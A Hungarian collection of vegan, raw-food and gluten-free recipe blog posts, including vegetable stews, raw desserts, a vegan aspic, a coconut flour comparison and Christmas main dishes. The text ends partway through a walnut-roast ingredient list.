A Naspolya Nassolda árakat tekintve magasabb árkategóriát képvisel, de vegyük figyelembe, hogy a bio és a nyers desszertek előállításához szükséges alapanyagok (pl. datolya, kesudió, mandula, stb.) nem olcsóak, viszont itt bármit nassolunk, azzal jót teszünk a szervezetünknek. Alkalomadtán pedig egy kis kényeztetés belefér. Nem beszélve arról, hogy az ilyen helyekkel zárkózunk fel Nyugat-Európához és Észak-Amerikához, ahol már régóta virágkorát éli a nyers, vegetáriánus, vegán étkezés a vendéglátásban!
Naspolya Nassolda
1061 Budapest
Káldy Gyula u. 7.
Weboldal
Facebook
Zöldség pörkölt barna rizzsel
Ez mi? Zöldségpörkölt... Mondtam, hogy el kéne menni a boltba. Abból készült, amit itthon találtam. Egészen finom lett. Hozzávalók: 20 g csiperke gomba 1 szál répa 1 szál petrezselyem 15 dkg zöldborsó 1 kis fej vöröshagyma 1 tk őrölt pirospaprika 1/2 tk só 1/2 tk kókuszzsír 1 kis marék kesudió / 1 kis pohár tejföl 1 bögre barna rizs 1/2 tk só A barna rizst 2,5-szeres mennyiségű sós vízben 45-50 perc alatt megfőzzük. A zöldségeket megtisztítjuk, a gombát vékony szeletekre, a répát, petrezselymet, hagymát apró darabokra vágjuk. A hagymát kevés vízen megpároljuk, majd hozzáadjuk a gombát és a kókuszzsírt. Megsózzuk, kis lángon pároljuk. Amikor nagyjából elfőtt a leve, hozzáadjuk a pirospaprikát, és a zöldségeket. Felengedjük kevés vízzel. A kesudiót kevés vízzel összeturmixoljuk. Amikor megfőttek a zöldségek, felöntjük a kapott szósszal, és összefőzzük.
Tonkababos nyers csoki szelet
A tonkababbal legelőször Adorján Éva: Egészséges finomságok című nyers receptkönyvében találkoztam.
Ő több alkalommal használta receptjeiben ezt a fűszert, és nagyon felcsigázott, vajon milyen lehet az ízvilága?
Vásároltam is egy dobozzal. Valami csokis finomságba téve szerettem volna kipróbálni, mert több helyen olvastam, hogy ahhoz passzol a legjobban.
Tonkabab íz- és illat tapasztalataimat egy újabb bejegyzésben osztom meg, ide kattintva: tonkabab.
A mostani recept, alap, krém sem új keletű, csak egy kicsit más formában hoztam össze. Ami különösen jó benne, hogy nem tömény magos az alapja, hanem magából a masszából készítettem azt is. Golyónak indult, majd valami designosabb kivitelezést álmodtam meg.
Hozzávalók : kb. 30 szem aszalt datolya, 2 nagy evőkanál kókuszzsír (szilárd formában), 1 evőkanál kakaópor, 4 evőkanál kókuszreszelék/kókuszliszt vegyesen (lehet csak kókuszreszelék is), kb. 1.5 dl meleg víz, csipet vanília por, kb. fél reszelt tonkabab
- díszítésnek én brazil diót használtam, amit késsel felaprítottam. (lehet bármi),
- csokicsurgatáshoz: 1 ek. kakaóvaj, 1 kk. kakaópor, stevia crysa nova por ízlés szerint
Elkészítés: A datolyákat megmossuk, kimagozzuk, turmixgépbe tesszük. Beletesszük még a kókuszzsírt, kakaóport, meleg vizet, majd az egészet jól összeturmixoljuk úgy, hogy sima, krémes, homogén kenhető masszát kapjunk. Ez az alap csokikrém, ami a tetejére kerül.
Az alaphoz kivesszük kb. a kétharmadát, (vagy egy kicsit kevesebbet) belekeverjük még a kókuszreszeléket/kókuszlisztet, összegyúrjuk, és egy kis, mini tortaforma aljára nyomjuk. Én őzgerinc féle sütőforma harmadát töltöttem meg vele. Rákanalazzuk a megmaradt csokikrémet, és villával csíkokat húzunk a tetejére. Apróra vágott brazil dióval szórtam meg, majd tonkababot és vanília port reszeltem a tetejére.
A csokikrémhez a kakaóvajat folyékonyra langyítottam, belekevertem a kakaóport és édesítésnek a stevia port, majd kanállal rácsurgattam a nyers édesség tetejére.
A tonkababot lehet a krémjébe is reszelni mindjárt az elején, én elfelejtettem… de talán így jobb is lett.
Finom, csak természetes alapanyagokat tartalmazó nyers desszert lett belőle.
Jó étvágyat, jó nyalakodást!
Spenótos-gombás tészta gluténmentesen
Nos, egy újabb tésztás étel került ma az asztalra. Ilyenkor télen valahogy mindig csípősebbre sikerülnek ezek az ételek, ösztönösen így "védekezünk" a tél ellen. Ebbe az ételbe is került jócskán chili. Hozzávalók (2 adag): - 25 dkg gomba - 15 dkg bébi spenót - 1 közepesméretű sárgarépa - 1 közepes méretű újhagyma - 3 gerezd fokhagyma - só, bors, chili - 1-2 evőkanál zabliszt - 3-4 evőkanál növényi tejszín - kókuszolaj - 25 dkg glutémentes tészta (kukorica tésztát szoktam venni a DM-ben) - zöldfűszeres kecskesajt (elhagyható) Elkészítése: - Egy nagy lábasban tegyünk fel vizet főni. Adjunk hozzá 2 teáskanál sót. Ha felfőtt a víz, főzzük ki a tésztát. - A gombát tisztítsuk meg, majd vágjuk nagyobb darabokra. Kevés kókuszolajon tegyük a tűzre, és pirítsuk addig, míg a leve el nem párolog. - Dobjuk rá a karikára vágott hagymát, és reszeljük bele a fokhagymát is. Fűszerezzük. - Adjuk hozzá a gyufaszál méretű sárgarépát. Pároljuk együtt pár percig. - Öntsünk rá vizet (vagy a főzővízből is önthetünk hozzá), annyit, hogy elég szósz legyen rajta. - A zabliszttel és a növényi tejszínnel sűrítsük be. - A végén adjuk hozzá a spenótot. Pár perc alatt összeesik, és készen is van a ragu, - A tésztát keverjük hozzá, és tálalhatjuk is.Jó étvágyat!
Répába bújt brokkolibomba
Kedvenc, piacon árusító gazdálkodótól vettem csinos kis brokkolit még korábban, abból készítettem el ezt a répába bújt kölessel betakart brokkolibombát. Szeretjük a brokkolit. Legtöbb ember talán csak párolva ismeri, mint köretet, esetleg krémleves készít belőle, vagy tejföllel, sajttal rakottan készíti el. Ez a recept, ahogy a képen látni, egészen új titulust ad a brokkolinak. Egészben hagyható a készítés során, s az eredmény igazán színes étel. Ami a brokkoli élettani hatásait illeti, könnyen emészthető zöld növényről van szó, ami csökkenti a vérnyomást, antioxidáns tartalma miatt a rákos megbetegedések diétájának egyik alapzöldsége. Vérszegénységnek, így a fáradékonyságnak is jó ellenszere, mivel jelentős vasat is tartalmaz.
A recept:
Hozzávalók:
- Kb. 2-3 db hosszú! répa
- 1 kisebb fej brokkoli
- 20 dkg köles
- ételízesítő
- só
- kurkuma
- fokhagyma
- medvehagyma
- aprított petrezselyem
- kevés kókuszzsír
Elkészítés:
A répákat meghámozzuk, megmossuk, nagyon vékony szeletekre vágjuk. (Nekünk van olyan reszelőnk, amivel ez könnyen megoldható.) Kicsit megpároljuk a répaszeleteket. Közben a brokkolit megmossuk és egészben ezt is megpároljuk.
A kölest alaposan átmossuk, ételízesítős vízben puhára főzzük. Mikor nagyjából megfőtt hozzáadjuk a felaprított medvehagymát és fokhagymát, petrezselymet, egy kevés kurkumát. Jól átkeverjük a fűszerekkel. Ha jól főztük meg, eleve összeragad a köles, nehézkes átkeverni.
Fogunk egy kerek jénai tálat. Kikenjük kókuszzsírral. A megpárolt répaszeleteket belefektetjük egymás mellett szorosan, de úgy, hogy a répaszeletek kicsit kilógjanak a tálból. A köles egy részét elsimítjuk a répacsíkokon. Rátesszük a brokkolit, majd befedjük kölessel, végül sűrűn répaszeletekkel takarjuk be. Kicsit megkenjük olajjal, majd a jénai tetejével lezárjuk.
A jénait tegyük egy tepsibe, így süssük meg kb 30-40 perc alatt.
Miután megsült és picit kihűlt, a jénai edény fedőjét rátesszük és ráfordítjuk. Így tálalásnál könnyebb szeletelni, akárcsak egy tortát.
Magában fogyasztva is nagyon finom, de készíthetünk hozzá kukoricás rizst (ez esetben az egész étel gluténmentes) vagy zöldséges bulgurt köretnek.
Brokkolis-karfiolos vega "lasagne"
Egy nagyon finom ételt készítettem ma ebédre. Ez egy "hétköznapi" étel, de csak azért, mert a gyerekeim sajnos nem szeretik a brokkolit. Úgyhogy ilyen ételeket csak hétköznap készítek. De akár egy vasárnapi ebédként is megállja a helyét. Alapvetően lasagne tésztával lett volna jó elkészíteni, viszont nem volt itthon gluténmentes fajta. Nem mintha gluténérzékeny lennék, de törekszem arra, hogy kevés glutént fogyasszunk. Ezért pennével készítettem. Az elkészítése lehet, hogy egy kicsit bonyolultnak tűnik, de ha egyszerre készíted a három szószt, akkor 30 perc alatt összeállítható. Hozzávalók (2-3 adag): - 10 dkg brokkoli - 10 dkg karfiol - 1 fej vöröshagyma - 5 gerezd fokhagyma - 3 dl tejszín (én Cserpes tejszínt szoktam venni) - kókuszolaj - 2 evőkanál zabliszt vagy rizsliszt - kb. 30-40 dkg paradicsom (püré) - friss bazsalikom, kakukkfű, szerecsendió - só, bors, chili - 25 dkg gluténmentes penne tészta (vagy lasagne) Elkészítése: Ha van 3 kisebb edényed, egyszerre el tudod kezdeni a munkát. Először is a brokkolit és a karfiolt szedd rózsáira, és sós vízbe tedd fel főni kb. 5-8 percre (félkeményre).A másik edényben egy kevés kókuszolajon dinszteld meg az apróra vágott vöröshagymát, és reszelj bele 3 gerezd fokhagymát.A megdinsztelődött hagymára szedd rá a brokkolit és a karfiolt . A főzővízből merjél rá egy keveset, éppen csak annyit, hogy meg tudjon főni. Ekkor már krumplinyomóval vagy villával összetörheted. Kb. 10 perc alatt elkészül.A kiüresedett edénybe (amibe a brokkoli és a karfiol főtt, a főzővizet tedd félre) öntsd bele a paradicsompürét (nekem házilag eltett paradicsomlevem van, mely 100% paradicsom, jó sűrű). Reszelj bele 1-2 gerezd fokhagymát, és tedd fel lassú tűzre főni. Egy picit hagyjuk sűrűsödni. 5-10 perc után tegyük bele az apróra vágott friss bazsalikomot és a kakukkfüvet, és sózzuk meg.Közben vedd elő a harmadik edényedet is a besamell készítéséhez. Tegyél bele egy kevéske kókuszolajat, és szórd bele a lisztet. Tedd tűzre, kevergesd picit. Majd öntsd rá a tejszínt. Hagyjuk egy kicsit a tűzön, be fog egy kissé sűrűsödni. Ebbe is reszelj 1 fokhagymát. Egy kevés főzővizet önthetsz hozzá, olyan tejföl állaga legyen. Ebbe én tettem egy kevés zöldfűszeres kecskesajtot, de akár el is hagyható. A Sparban szoktam venni, kis rúdban kapható.Na, ha már itt tartassz, akkor elkészült a 3 szószod. A brokkolis karfiolt törd jól össze, és reszelj bele egy kevéske szerecsendiót. Sózd meg és adjál hozzá chilit. Ne legyen nagyon híg, de sűrű se. A főzővízzel tudod az állagát javítani.Vegyél elő egy jénai tálat (olyan 30x20 cm). Most jön a rétegezés. A besamell inkább csak csorgatva van, nem fedi teljes egészében az előtte lévő réteget.paradicsomszósz felepennetészta felebesamell 1/3-abrokkolis karfiolbesamell 1/3-apennatészta másik feleparadicsomszósz másik felebesamell 1/3-aFedd le, és tedd be a sütőbe. Süsd úgy 40 percig, 180 fokon.Ennyi. Jó étvágyat!
Répa-kókusz tejshake
2015. január 7. Gréta konyhája
Bizonyára sokan kezdtek bele az újévben különdéle tisztítókúrákba, egyéb fogadalmakba. A január eleje kifejezetten alkalmas erre, legyen az egészségesebb életmódra törékvés, cukormentesség, húsmentesség, tudatosabb táplálkozás, nyersétkezés, vagy bármi, amely segít visszaállítani, vagy megtalálni végre testi-lelki-szellemi harmóniánkat. Azon túl, hogy a blogomban lévő receptek egyike sem tartalmaz állati eredetű összetevőt( hús, tej és származékai, tojás, méz), mindig figyelek arra, hogy lehetőleg gluténmentes legyen, megfelelő ételpárosítással járjon, egészséges legyen, és ami a legfontosabb, nagyon finom. Ezért is ajánlok most gyorséttermi kedvelt shake-ek helyettesítésére, egy otthon, könnyedén elkészíthető mennyei finomságot, amelyet leginkább délutáni édességre vágyakozás kielégítésére tudok elképzelni, és ami a legjobb, hogy melegen, vagy hidegen egyaránt finom, pénztárcabarát megoldás, amitől garantáltan nem lesz bűntudatunk. A gyorséttermi shake-ekkel ellentétben, az otthon elkészíthető répashake szezonális, nem tartalmaz tejterméket (hormonok, antibiotikum, vér, genny), cukrot, mesterséges adalékanyagokat, szilikonszármazékokat és egyéb mű-anyagot. Mindössze 5 hozzávalóból, egy turmixgép segítségével elkészíthető ez a habos-fűszeres finomság. Hozzávalók: 2 közepes méretű répa meghámozva, megmosva 2-3 dl mandulatej 1 dl kókuszkrém stévia cseppek ízlés szerint mézeskalács fűszerkeverék (fahéj, szegfűszeg, gyömbér, kardamom, szerecsendió) Hideg változat: A répákat 2-3 nagyobb darabra végjuk, majd megfőzzük, ha kihűlt pár órára fagyasztóba tesszük. A fagyott répahasábokat egy turmixgépbe tesszük a többi hozzávalóval, majd kb egy percen keresztül turmixoljuk. Kiöntjük egy nagyobb pohárba, tetejére tehetünk még kókusztejszínhabot, megszórhatjuk fahéjjal. Meleg változat. A répákat megfőzzük, vagy egy tepsiben, sütőben megsütjük, és a fentebb leírtakhoz hasonlóan járunk el, azzal a különbséggel, hogy forráspontig melegített mandulatejet adunk hozzá. Jó étvágyat!
Villámgyors vegán téli zöldséges curry
2015. január 6. Zizi kalandjai
Sikerült visszatérnetek a hétköznapi kerékvágásba? Nekem nagy nehezen… de ténylegesen még nem rázódtam vissza. Karácsonyig és karácsony alatt még neteztem, de utána netböjtöt tartottam és le sem ültem a gép elé, csak a telefonomat nyomkodtam naponta néhány alkalommal. Igazán jól esett, hogy az elmúlt egy hétben ahelyett, hogy esténként a gép előtt ültem volna, inkább megnéztünk minden nap egy új filmet. Juhééé, kezdjük behozni a lemaradást filmek terén. Bárcsak így haladnék a könyv olvasással is. Ki is tűztem célul, hogy 2015-ben legalább hat könyvet elolvasok, ami azt jelenti, hogy két hónapom van egy könyvre. Meglátjuk sikerül-e…
Egy új év mindig hoz magával újévi fogadalmakat, hogy na, most egészségesebben fogunk táplálkozni. Sokan már tisztító kúrákat ajánlanak, de szerintem januárban nehéz elkezdeni egy ilyet, amikor még van maradék szilveszterről, de az is lehet, hogy még karácsonyról is. Februárig biztosan elfogynak a finomságok, szóval én jobbnak látom a tisztítás megkezdését februárban. Viszont az egészségesebb táplálkozás fogadalmát megkezdhetjük az év első hónapjában is, hiszen főzni mindannyian főzünk – ki többet, ki kevesebbet -, így érdemes odafigyelni, hogy mi kerül az asztalunkra. Ez a curry hűtőtakarításból jött létre, végtelenül egyszerű és szezon, valamint hűtőtartalom szerint variálhatók benne a zöldségek. Én két nagyon egyszerűt főztem bele: répát és burgonyát, meg volt a fagyasztómban zöldbab, így azt is beledobtam. El tudom képzelni édesburgonyával, sütőtökkel, spenóttal, nyáron cukkinivel, padlizsánnal. Gyors, egyszerű, de mégis különleges.
Villámgyors vegán téli zöldséges curry
Hozzávalók 3-4 főre:
– 6-8 db közepes burgonya, meghámozva, felkockázva
– 4 db közepes répa, meghámozva, felkockázva
– 300 g fagyasztott zöldbab (feldarabolható, én egészben hagytam)
– 250 ml kókusztej
– 1 db hámozott paradicsom konzerv
– 2 teáskanál kurkuma
– 1 teáskanál őrölt kömény
– 1 teáskanál cayenne bors (ha kevésbé akarjuk csípősre, akkor kevesebb)
– só, bors
– 1 evőkanál kókuszzsír vagy napraforgó olaj
– főtt barnarizs a tálaláshoz
Egy lábasban adjuk a kókuszzsírhoz a fűszereket és közepes láng felett főzzük egy-két percig, amíg illatos lesz a fűszerkeverék. Ekkor adjuk hozzá a felkockázott burgonyát, répát, öntsük fel a kókusztejjel, a hámozott paradicsomokkal és a levével. Ha szükséges adjunk hozzá egy kevés vizet, hogy éppen ellepje (de ne túl sokat, hogy a krémes sűrűségét megőrizze a ragu). Főzzük kb. 25-30 percig lassú tűzön, ekkor adjuk hozzá a zöldbabot és főzzük tovább, amíg minden zöldség megpuhul. Ízlés szerint sózzuk, borsozzuk.
Tálaljuk főtt barnarizzsel.
Zöldséges kocsonya (vegán)
Vegán kuriózum nem csak vegánoknak. Kocsonyák terén egy gyermekkori emlékem van, amely nem végződött vajmi egészségesen a gyomromat illetően. Azóta nem ettem kocsonyát. Szándékosan kerültem, majd később vegaként pláne szóba sem jöhetett. Amikor azonban a neten "bóklásztam", láttam néhány helyen bátor lányokat és asszonyokat, akik a disznócsont zselésítő anyaga nélkül vegán módra készítettek kocsonyákat. ÓÓÓ, ezt nekem is ki kell próbálni! Ki nem hagyhatom! Elkészült, de karácsonyra nem ez lett a menü. Finom volt, az íze hasonlított gyermekkorom kocsonyáira. Lényegesen jobb emlékem lett így a kocsonyával, bár évente egyszer így, vegán módon elég is nekünk a téli kocsonya. (Télen a meleg ételeket kedvelem inkább.) Igaz, ötletem nem fogyott ki a továbbiakra, hogy mi minden mást is tehetnék bele.
A recept:
Hozzávalók:
- 1 bögre felkarikázott sárgarépa
- 1 bögre zöldborsó
- 1 kisebb fej karfiol
- 1-2 szál fehérrépa
- 1 kisebb fej zeller
- 1 kisebb fej karalábé
- néhány szem krumpli
- 1 hagyma
- 4-7 gerezd fokhagyma
- 1 kisebb csokor petrezselyem
- kurkuma
- ételízesítő
- bio zöldség-leveskocka
- pár csepp füst-aroma vagy egy kevés füstölt só
- útifű maghéj vagy agar-agar
Elkészítés:
A zöldségeket egy nagy fazékba tesszük, megszórjuk ételízesítővel és annyi vizet öntünk rá, hogy épp ellepje. Hozzáadunk leveskockát, kurkumát, majd a főzés utolsó pár percében fokhagymát egészben és szeletelve, valamint apróra vágott petrezselymet. Aki gondolja, egész fekete borsot is tehet bele. Én inkább filterbe zárva főzöm bele az egész bors-szemeket. Ebből a mennyiségből egy jó adag zöldség leves lesz, amit nem érdemes egy az egyben kocsonyának felhasználni, főleg ha szeretjük a sűrű leveseket. Nos nálunk ez a helyzet, így kimentettem belőle némi levet és zöldséget. (Ebbe egy kevés füst-aromát csepegtethetünk.) Ehhez kezdtem el hozzákeverni az útifű-maghéjat. Hát, meglehetősen sok ment bele, s vártam míg a sok levet magába szívja. Az volt az érdekes, hogy amikor a nyers sütiket készítettem (pl: itt), sokkal gyorsabban vált zselés állagúvá a sütiréteg. Aki nem mer ezek után útifű-maghéjjal próbálkozni, annak az agar-agart is ajánlom. Nekem épp nem volt itthon. Az agar-agarból kb. 1 evőkanálnyit elkeverünk 1 dl zöldséglével, majd ezt keverjük hozzá a többi kocsonya-alaphoz. Ezt követően már csak megfelelő edényekbe szervírozzuk, lezárjuk és vagy kitesszük az erkélyre/udvarra/ablakpárkányra, vagy hűtőben pihentetjük néhány (legalább 4) órát.
Egy-két nap alatt azért érdemes elfogyasztani, ezért tanácsos meggondolni, mennyit készítünk belőle.
Kókuszliszt és kókuszliszt
Jókora különbség lehet kétféle márkájú kókuszliszt között.
Nem egyformák…
Erről írok most röviden.
Nem régen ismerkedtem meg a kókuszliszttel, egy korábbi bejegyzésemben nagyon finom kókuszos köleskekszet olvashattok. Ehhez a DM-ben vásárolt kókuszlisztet használtam. Finom, illatos, nem is volt kifogásom ellene….. de már akkor feltűnt, hogy ugyan az van a dobozára írva, hogy a kókuszliszt nem azonos a ledarált kókuszreszelékkel, annak mégis nagyon hasonló volt az állaga. De liszt formája, kis szemcsemérete nem volt. Inkább hasonlított a kókuszreszelékhez.
El is könyveltem magamban, hogy a kókuszliszt az ilyen.
Egy másik boltban vásároltam egy Nature Cookta márkájú kókuszlisztet is, mert az előző már fogyóban volt. Átlátszó zacskóján keresztül azonnal szembe ötlött a lisztszerűség, az apró szemcseméret. Igazi lisztszerű állag…..
Na, akkor kukkantsunk csak a zacskóra/dobozra….
The new evolution diet kókuszliszt (kókuszreszelékszerű)
Energiatartalom: 2965,9 kj / 717,7 kcal
Fehérje: 6,9 g
Szénhidrát: 23,7 g
Zsír: 64,5 g
Nature Cookta kókuszliszt (lisztszerű)
Energiatartalom: 1092 kj / 259 kcal
Szénhidrát: 26.2 g
Fehérje: 19.3 g
Zsír: 8,6 g
Igencsak szembetűnő tehát a kalória és a zsírtartalom különbsége a kettőnél. Ennek függvényében azt mondhatom: hogy kókuszlisztként az első nem igazán állja meg a helyét, akkor már inkább vásárolom a hasonló paraméterekkel rendelkező, ám olcsóbb kókuszreszeléket.
Lisztként viszont nagyon meg vagyok elégedve a Nature Cookta kókuszliszttel… és amik hasonló paraméterekkel rendelkeznek, szintén igen jók lehetnek.
Utánanéztem egyébként a kókuszreszelék kalóriatartalmának, több helyen a 660 kcal / 100 grammos értéket találtam…. úgyhogy nem is értem, hogy a dobozos változatban hogyan került ennél több kcal érték.
Ennyi volt a tapasztalás… és akkor most egy kis infómorzsa róla:
A zacskó hátoldalán lévő érdekesség:
A kókuszliszt friss kókuszhúsból készül, melyet előtte szárítottak és zsírtalanítottak, majd finomra őröltek. Állaga nagyon hasonló a búzaliszthez. Használja 15-25 %-ban más lisztek helyettesítésére a hagyományos receptekhez, illetve számos étel 100 %-os felhasználással is elkészíthető.
A kókuszliszt alacsony szénhidráttartalmú, ideális kenyerek és péksütemények sütéséhez. Kevesebb emészthető (nettó) szénhidrátot tartalmaz, mint bármely más liszt, beleértve a szóját is!
A kókuszliszt rostban gazdag, 38,5 % rostot tartalmaz, ami a legnagyobb arányú más lisztekhez képest. A kókuszliszt hipoallergén. Ideális azok számára, akik követik az alacsony szénhidrát diétát.
A dobozos változaton is olvasni egy kis infót róla:
A kókuszliszt számos jó tulajdonságának köszönhetően beilleszthető paleolit étrendbe, vagy akármelyik testsúlycsökkentő programba. A kókuszliszt nem azonos a ledarált kókuszreszelékkel! Teljes mértékben helyettesítheti a búzalisztet, de legtöbb esetben érdemes más lisztekkel (például szőlőmagliszttel, gesztenyeliszttel) keverve használni.
Ha 100 %-ban szeretnénk kókuszlisztet használni, adjunk egy tojással többet a receptben szereplő mennyiséghez képest, így a sütemény kevésbé morzsálódik. Ha teljes mértékben kókuszlisztet használunk, a búzaliszttel összehasonlítva a sütés rövidebb ideig tart. Hipoallergén termék, fogyasztása allergiák esetén sem okoz problémát. Magas fehérjetartalma a búzalisztével vetekszik.
Tanács: Internetes fórumokban nem ajánlják a kókuszlisztet egy az egyben a búzaliszt helyettesítéséhez, mert állagában ugyan liszt, de nem gabonából van, ezért másként viselkedik, tehát ha valaki kizárólag kókuszlisztből szeretne kenyeret készíteni, kudarcba fulladhat a próbálkozása. Kenyerek sütésére egy az egyben nem használható, sütemény is morzsalékosabb lesz, ezt kalkuláljuk bele. Számítsunk rá, hogy nagyon sok folyadékot felvesz.
Ha Neked van egy klassz kókuszlisztes receptet, kérlek, oszd meg velünk is!
Egyben sült lencsefasírt
Szilveszterre és elsejére szántam ezt a finom, laktató, és erősen melegítő ételt ;) Hozzávalók: 1 bögrényi sima lencse 2 babérlevél 1 bögrényi zabpehely 2 hatalmas cikk fokhagyma 1 nagy fej vöröshagyma 1 kk pirospaprika 1 kk tiszta só 1 kk bors 1 tk majoranna 1 ek házi mustár 1 tk kókuszzsír A lencsét a babérlevéllel […]
Vegán majonézes krumplisaláta
Gyerekkorom egyik nagy kedvence a majonézes krumplisaláta, mindaddig hiányoltam ezeket az ízeket amíg ki nem “kísérleteztem” a vegán, tojásmentes majonéz receptjét, hogy igazán finom legyen. Egyszerűbb, mint gondolnánk.
Kezdjük az elején:
Hozzávalók: 4-6 főre
10 darab közepes krumpli
1 db citrom leve
2 kk himalaya só
200 ml növényi tejszín: zab,-rizs,-vagy kókusztejszín
1 fej közepes lila vagy vöröshagyma
1 teáskanál mustár
késhegyni őrölt fehér bors
csipetnyi őrölt kurkuma (elhagyható)
3-4 evőkanál hidegen sajtolt olíva olaj
A krumplikat meghámozzuk és karikára szeleteljük ( 0,5-cm vastagságúra). Enyhén sós vízben megfőzzük. Figyeljünk, hogy ne főzzük szét, majd leszűrjük és hagyjuk kihűlni.
Elkészítjük a majonézt: a tejszínt a mustárral, sóval, citromlével, őrölt fehér borssal és a hidegen sajtolt olíva olajjal, kurkumával krémesre turmixoljuk. Ráöntjük a krumpliszeletekre és vékony karikákra vágott lilahagymát adunk hozzá. Összekeverjük és hagyjuk a hűtőben összeérni az ízeket. Másnap a legfinomabb önmagában vagy roppanós gabonafasírttal.
Pina Colada
Szaffinától jött az ötlet, és ma este ki is próbáltam ;) Ez valami isteni finom! A többi koktélt is ki fogom próbálni, úgyis jön a szilveszter ;) Akkor csirió ;) Boldog karácsonyt nektek ;) Hozzávalók 3 dl-hez: 1 karika ananász 1 tk darált kókuszreszelék 1 kk vanília aroma 2 dl forrásvíz Összeturmixoljuk. A poharat vízbe, […]
Nyers krémes
Finom, egészséges desszertet kerestem, és a krémes…. hm. mindig is kedvenc volt ;) Kigondoltam, hogy tudnám megcsinálni nyersen. Most az avokádó volt soron, de nagyon finomat lehet sütőtökből is ;) Hozzávalók: 1 aszalt gyümölcslap negyede Vaníliás krém: 1 avokádó 1 kanálnyi citrom leve 1 ak méz (vagy szirup) 1 ek kókuszolaj 1 tk vanília kivonat […]
Karácsonyi visszaszámlálás 3+1 főétel
2014. december 21. Éltető ételek
Az előző részben a levesekről írtam, most pedig jöjjenek a főételek. A hagyományos karácsonyi főétel a halászlé, a rántott hal vagy éppen a töltött káposzta. Na, pont ezért ezeket nem fogom most ajánlani.Az általam javasolt ételek vegánok, tehát húst nem tartalmaznak. De ha a rokonod, ismerősöd húsevő, akkor ezeket köretként is felszolgálhatod. Ami nagyon fontos, hogy a párolt lilakáposzta mindenképp kerüljön a kínálatba, hiszen nagyon jót tesz a gyomornak, segíti az emésztést és kellő rostot is biztosít. Egyébként egy jól összeállított köret akár főétel is lehet , nem kell megijedni, hogy éhesek maradunk. Egyébként nem tudom, hogy miért jó az, hogy degeszre esszük magunkat, utána meg mozdulni sem tudunk. Sokkal jobban fogjuk magunkat érezni, ha egy könnyű, de tápláló vacsorát kínálunk. Az ünnepi hangulatot mindenképp a tálalás, a gyertyafény és az apró díszítések teszik különlegessé. Mert ha belegondolunk, mitől különleges egy töltöttkáposzta? Szerintem semmitől, hiszen ezt az év bármely napján fogyaszthatják az emberek. 1. Grillezett batáta párolt lilakáposztával és csicseriborsó fasírttal Ebben a receptben a batáta nagyon jól illik a párolt lilakáposztához, és egy csicseriborós fasírttal még a fehérje kérdés is biztosítva van. Egy kicsit ünnepivé tehetjük a tálalást friss salátával. 2. Zöldséges gombaragu petrezselymes burgonyával Ha szereted a gombát, akkor ez a te ételed lesz. Tegyük egy kicsit csípőssé fokhagymával, chilivel és a bors is jól illik hozzá. 3. Diólepény almás-tökös körettel Itt szintén egy egyszerű, sütőben megsüthető köretet kínálok egy diólepénnyel. Diólepény: - 20 dkg dió, paradió, szezámmag vegyesen - 1 fej vöröshagyma - 1-2 gerezd fokhagyma - 1 evőkanál chiamag és 1 evőkanál lenmag 0,5 dl vízbe áztatva - 2-3 dl házi paradicsomlé - 15 dkg reszelt füstölt sajt - friss fűszernövények: petrezselyem, kakukkfű, zsálya - 1 teáskanál citromlé - 1 teáskanál mustár - só, bors Elkészítése: - Egy kerámia piteformát kenjünk ki kókuszolajjal, és melegítsük elő a sütőt úgy 180 fokra. - Az olajos magokat száraz serpenyőben pirítsuk meg, majd ha kihűlt, daráljuk durvára. - Adjuk hozzá a fűszereket, a zselésítő chia és lenmagot, valamint a többi hozzávalót is. - Tegyük a sütőtálba, majd 40-50 perc alatt süssük készre. - Szeletelés előtt hagyjuk langyosra hűlni. 3+1 Marinált zöldségek magfasírttal Ez egy nyers recept, mely akár önállóan, vagy egy főétel mellett is megállja a helyét. A marinált zöldségbe kedvenceink kerülhetnek. Ebben az esetben sárgarépa, retek, hagyma és lilakáposzta került. Picit besózzuk, majd egy vignette öntettel leöntjük. Ebbe kerül olívaolaj, citromlé, mustár, só, bors. hagyjuk állni pár órán keresztül majd tegyük be az aszalóba, vagy sütőbe alacsony hőfokra. 1-2 óra alatt szépen összeérnek az ízek, de az alacsony hőfok miatt még nyers marad. A magfasírt is roppant egyszerű. - 15 dkg beáztatott dió és paradió vegyesen - 2 közepes sárgarépa - 1 közepes lilahagyma - 1 kápia paprika vagy kaliforniai paprika - 2-3 aszalt paradicsom - 2-3 gerezd fokhagyma - friss zöldfűszer: petrezselyem, zeller - só, bors, chili Mindent aprítsunk morzsásra, majd formázzunk belőlük kis fasírtokat. Érdemes a külsejét megszárítani (aszalóba vagy sütőbe), de a belseje puha és krémes marad.
Diósült, a tökéletes húsmentes fasírt
2014. december 20. Zöld Avocado
A következő recept akár a karácsonyi menüben is szerepelhetne. Nálunk biztosan fő étel lesz! ;-) A nevével ellentétben semmi köze egy diós desszerthez. Tökéletes húspótló! :-) Ha nem mondjuk meg a vendégünknek, hogy mit eszik, biztosan az lesz az első tippje, hogy valamilyen fasírozottat. Az íze és állaga is teljesen ugyanolyan, mint egy sertéshúsból készült tepsis fasírt, vagy akár egy stefánia vagdalt. Gyerekkoromból emlékszem a nagymamám tepsiben sült fasírozottjának pontosan ugyanilyen íze volt. ;-) Diósült, párolt zöldségekkel, sült édes burgonyával Ez miért más? Mert egyáltalán nem állati fehérjéből, azaz húsból készül, és mégis biztosítja a szükséges fehérje mennyiséget, és a zsír bevitelt (Omega3). Mert telis tele van tápláló hozzávalókkal, vitaminokkal (pl.: E-vitamin, folsav), hasznos ásványi anyagokkal (pl.: kálium, kalcium, vas, magnézium, cink stb.), antioxidánsokkal, könnyű megemészteni, energiát ad, és mennyei ízzel ajándékoznak meg a puha meleg diósült szeletek. Készítsétek el, és próbáljátok ki, kinek milyen élményt nyújt a nevére egyáltalán nem hasonlító étel remek, ami akár egy gasztro alkotás is lehetne a gasztro művészetek múzeumában, ha létezne olyan! :-D Természetesen nem én vagyok a nagy ,,művész, aki megalkotta a dió sültet. Az eredeti receptet Bede Anna Vegasztrománia című szakácskönyvében láttam meg először. Ezt egy kicsit a saját ízlésünkre formáltam, és ez a felejthetetlen élmény lett belőle. (Ezt mások mondták, nem én. ;-) ) HOZZÁVALÓK: - 200 g dió - 50 g szezámmag, kesudió, mogyoró (ezek keveréke, vagy ami éppen otthon van) - 1 nagy lila hagyma - 1 marék friss petrezselyem - 400 g konzerv hámozott paradicsom - 150 g ementáli sajt reszelve - 2 tojás (vagy 2 ek őrölt lenmag 6 ek vízzel kocsonyásra keverve) - 1 ek mustár - Himalája só, frissen őrölt fekete bors, pirospaprika, egy csipet Cayenne bors vagy erős pista - 3 gerezd 